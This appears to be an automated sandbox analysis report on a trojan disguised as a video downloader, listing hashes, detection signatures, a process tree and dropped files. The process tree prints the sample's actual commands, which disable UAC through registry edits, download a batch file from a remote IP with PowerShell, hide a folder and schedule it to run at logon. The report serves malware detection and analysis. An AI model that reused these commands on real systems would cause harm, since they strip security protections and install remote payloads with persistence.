Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240508-en
  • resource tags

    arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    12-06-2024 11:23

General

  • Target

    pornhub_downloader.exe

  • Size

    88KB

  • MD5

    759f5a6e3daa4972d43bd4a5edbdeb11

  • SHA1

    36f2ac66b894e4a695f983f3214aace56ffbe2ba

  • SHA256

    2031202030b1581acb6694f7ba528431a5015c7c37a4c6bcc0e1afdbca6f120d

  • SHA512

    f97c793e1489e09dc6867bc9fb8a8e6073e08e1019b7a6fd57efdb31099047fcef9bc7bc3a8194742d7998f075c50e5d71670711bf077da1ac801aab7d19b385

  • SSDEEP

    1536:D7fPGykbOqjoHm4pICdfkLtAfupcWX50MxFY+yIOlnToIf+xB4O5:fq6+ouCpk2mpcWJ0r+QNTBf+LV

Malware Config

Signatures

  • UAC bypass 3 TTPs 3 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Powershell Invoke Web Request.

  • Sets file to hidden 1 TTPs 1 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 25 IoCs
  • Suspicious use of SendNotifyMessage 12 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\pornhub_downloader.exe
    "C:\Users\Admin\AppData\Local\Temp\pornhub_downloader.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:644
    • C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\6477.tmp\6478.tmp\6479.bat C:\Users\Admin\AppData\Local\Temp\pornhub_downloader.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2268
      • C:\Windows\system32\mshta.exe
        mshta vbscript:createobject("shell.application").shellexecute("C:\Users\Admin\AppData\Local\Temp\PORNHU~1.EXE","goto :target","","runas",1)(window.close)
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2392
        • C:\Users\Admin\AppData\Local\Temp\PORNHU~1.EXE
          "C:\Users\Admin\AppData\Local\Temp\PORNHU~1.EXE" goto :target
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4432
          • C:\Windows\system32\cmd.exe
            "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\664B.tmp\664C.tmp\664D.bat C:\Users\Admin\AppData\Local\Temp\PORNHU~1.EXE goto :target"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:5092
            • C:\Windows\system32\reg.exe
              reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t reg_dword /d 0 /F
              6⤵
              • UAC bypass
              PID:3436
            • C:\Windows\system32\reg.exe
              reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t reg_dword /d 0 /F
              6⤵
              • UAC bypass
              PID:2240
            • C:\Windows\system32\reg.exe
              reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "PromptOnSecureDesktop" /t reg_dword /d 0 /F
              6⤵
              • UAC bypass
              PID:4836
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "reg query HKEY_CLASSES_ROOT\http\shell\open\command"
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:1100
              • C:\Windows\system32\reg.exe
                reg query HKEY_CLASSES_ROOT\http\shell\open\command
                7⤵
                  PID:1792
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.pornhub.com/
                6⤵
                • Enumerates system info in registry
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                • Suspicious use of FindShellTrayWindow
                • Suspicious use of SendNotifyMessage
                • Suspicious use of WriteProcessMemory
                PID:996
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x10c,0x110,0x114,0xe8,0x118,0x7ff864e33cb8,0x7ff864e33cc8,0x7ff864e33cd8
                  7⤵
                    PID:5032
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1720,9811486489986048518,7357220092198003387,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1792 /prefetch:2
                    7⤵
                      PID:4464
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1720,9811486489986048518,7357220092198003387,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2344 /prefetch:3
                      7⤵
                      • Suspicious behavior: EnumeratesProcesses
                      PID:4916
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1720,9811486489986048518,7357220092198003387,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2756 /prefetch:8
                      7⤵
                        PID:1484
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1720,9811486489986048518,7357220092198003387,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3308 /prefetch:1
                        7⤵
                          PID:2820
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1720,9811486489986048518,7357220092198003387,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3332 /prefetch:1
                          7⤵
                            PID:1088
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1720,9811486489986048518,7357220092198003387,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5104 /prefetch:1
                            7⤵
                              PID:4308
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1720,9811486489986048518,7357220092198003387,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3516 /prefetch:1
                              7⤵
                                PID:3056
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1720,9811486489986048518,7357220092198003387,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5404 /prefetch:1
                                7⤵
                                  PID:1812
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1720,9811486489986048518,7357220092198003387,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5424 /prefetch:1
                                  7⤵
                                    PID:4836
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1720,9811486489986048518,7357220092198003387,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5652 /prefetch:8
                                    7⤵
                                    • Suspicious behavior: EnumeratesProcesses
                                    PID:3688
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1720,9811486489986048518,7357220092198003387,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5908 /prefetch:8
                                    7⤵
                                    • Suspicious behavior: EnumeratesProcesses
                                    PID:4640
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1720,9811486489986048518,7357220092198003387,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1828 /prefetch:1
                                    7⤵
                                      PID:908
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1720,9811486489986048518,7357220092198003387,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3932 /prefetch:1
                                      7⤵
                                        PID:2840
                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1720,9811486489986048518,7357220092198003387,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2556 /prefetch:1
                                        7⤵
                                          PID:864
                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1720,9811486489986048518,7357220092198003387,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=4356 /prefetch:2
                                          7⤵
                                          • Suspicious behavior: EnumeratesProcesses
                                          PID:2552
                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1720,9811486489986048518,7357220092198003387,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4252 /prefetch:1
                                          7⤵
                                            PID:2664
                                        • C:\Windows\system32\attrib.exe
                                          attrib +s +h d:\net
                                          6⤵
                                          • Sets file to hidden
                                          • Views/modifies file attributes
                                          PID:664
                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          powershell -c "invoke-webrequest -uri http://206.217.142.166:1234/windows/v2/dr.bat -outfile d:\net\dr\dr.bat"
                                          6⤵
                                          • Blocklisted process makes network request
                                          • Command and Scripting Interpreter: PowerShell
                                          • Suspicious behavior: EnumeratesProcesses
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:2020
                                        • C:\Windows\system32\schtasks.exe
                                          SchTasks /Create /SC ONLOGON /TN "my dr" /TR "d:\net\dr\dr.bat" /f
                                          6⤵
                                          • Creates scheduled task(s)
                                          PID:1020
                              • C:\Windows\System32\CompPkgSrv.exe
                                C:\Windows\System32\CompPkgSrv.exe -Embedding
                                1⤵
                                  PID:2496
                                • C:\Windows\System32\CompPkgSrv.exe
                                  C:\Windows\System32\CompPkgSrv.exe -Embedding
                                  1⤵
                                    PID:3440

                                  Network

                                  MITRE ATT&CK Enterprise v15

                                  Replay Monitor

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                                  Downloads

                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                                    Filesize

                                    152B

                                    MD5

                                    23da8c216a7633c78c347cc80603cd99

                                    SHA1

                                    a378873c9d3484e0c57c1cb6c6895f34fee0ea61

                                    SHA256

                                    03dbdb03799f9e37c38f6d9d498ad09f7f0f9901430ff69d95aa26cae87504d3

                                    SHA512

                                    d34ae684e8462e3f2aba2260f2649dee01b4e2138b50283513c8c19c47faf039701854e1a9cbf21d7a20c28a6306f953b58ffb9144ead067f5f73650a759ff17

                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                                    Filesize

                                    152B

                                    MD5

                                    a8e4bf11ed97b6b312e938ca216cf30e

                                    SHA1

                                    ff6b0b475e552dc08a2c81c9eb9230821d3c8290

                                    SHA256

                                    296db8c9361efb62e23be1935fd172cfe9fbcd89a424f34f347ec3cc5ca5afad

                                    SHA512

                                    ce1a05df2619af419ed3058dcbd7254c7159d333356d9f1d5e2591c19e17ab0ac9b6d3e625e36246ad187256bee75b7011370220ef127c4f1171879014d0dd76

                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                    Filesize

                                    5KB

                                    MD5

                                    678a867dedf2c956fbebc4c812e24ef2

                                    SHA1

                                    9fbf739ea280a1cac3d106a272d2353e1feaca39

                                    SHA256

                                    fb50608c3dc131131bf035caa864666e0600c232dca28b6e59c972a5b797138e

                                    SHA512

                                    643f96281cb476812dc15895eb4089d52fdb63d32529a1a1ffb52f34af20ba696e6e84c97c8948abfe12c8d1e31c30c61d4b5d36eedcbd9c97e1c4cac72d93e1

                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

                                    Filesize

                                    16B

                                    MD5

                                    46295cac801e5d4857d09837238a6394

                                    SHA1

                                    44e0fa1b517dbf802b18faf0785eeea6ac51594b

                                    SHA256

                                    0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

                                    SHA512

                                    8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

                                    Filesize

                                    16B

                                    MD5

                                    206702161f94c5cd39fadd03f4014d98

                                    SHA1

                                    bd8bfc144fb5326d21bd1531523d9fb50e1b600a

                                    SHA256

                                    1005a525006f148c86efcbfb36c6eac091b311532448010f70f7de9a68007167

                                    SHA512

                                    0af09f26941b11991c750d1a2b525c39a8970900e98cba96fd1b55dbf93fee79e18b8aab258f48b4f7bda40d059629bc7770d84371235cdb1352a4f17f80e145

                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                                    Filesize

                                    8KB

                                    MD5

                                    de3f65ccee6a3474a26ab166c14663da

                                    SHA1

                                    fc8a0166199492f9c15420cee0a889e7a717907d

                                    SHA256

                                    c262e0718ebe2b45095cb459f2932fa72716a4a9ab2d3dbf8078278444eb2a4f

                                    SHA512

                                    ac8285dacdd8f549295d209e5b9e4d2a600ba445aa98bd3e7a51aca1569ddf7db821f21e9c455205a6e8ba14dcb7a399c4d5160131eaa909654f00d289fe35c1

                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                                    Filesize

                                    8KB

                                    MD5

                                    ab6cb7e0c18a5c0df2d4fa8926341759

                                    SHA1

                                    c186edba7285b9b2a56b2feeee0ff86b3e5e11c7

                                    SHA256

                                    ed25be85a39011dd40c819113eb1e4db188daa8540d80fa61d15e84e048e92fa

                                    SHA512

                                    80ba22efc235a3ba436968cfb2debad498b4424307a8671aca751f94f5d520d4939999cbdd6484ebf4d1af295adbc56d809b82038efe92c36ee92c9e15fd35b9

                                  • C:\Users\Admin\AppData\Local\Temp\6477.tmp\6478.tmp\6479.bat

                                    Filesize

                                    1KB

                                    MD5

                                    9856d2fe29a28c54c5943c2150f7bae1

                                    SHA1

                                    f7532a2a79b1b6aca1c151b34fe8b1ce2c798e97

                                    SHA256

                                    0b6140b4764863f3263b0be87f35c9afe9a849823eccf37259bed08baa93e999

                                    SHA512

                                    002db693f5664f80e58bb3590f32068f611bc97d3f71324abb659dd1fd0bffe3df36379ae92ffbeabde10bd6245b3c069b56ba4d8b4608c634a2525e7a76735f

                                  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_d0aqdkkm.ccz.ps1

                                    Filesize

                                    60B

                                    MD5

                                    d17fe0a3f47be24a6453e9ef58c94641

                                    SHA1

                                    6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                    SHA256

                                    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                    SHA512

                                    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                  • memory/2020-20-0x00000165FBFF0000-0x00000165FC012000-memory.dmp

                                    Filesize

                                    136KB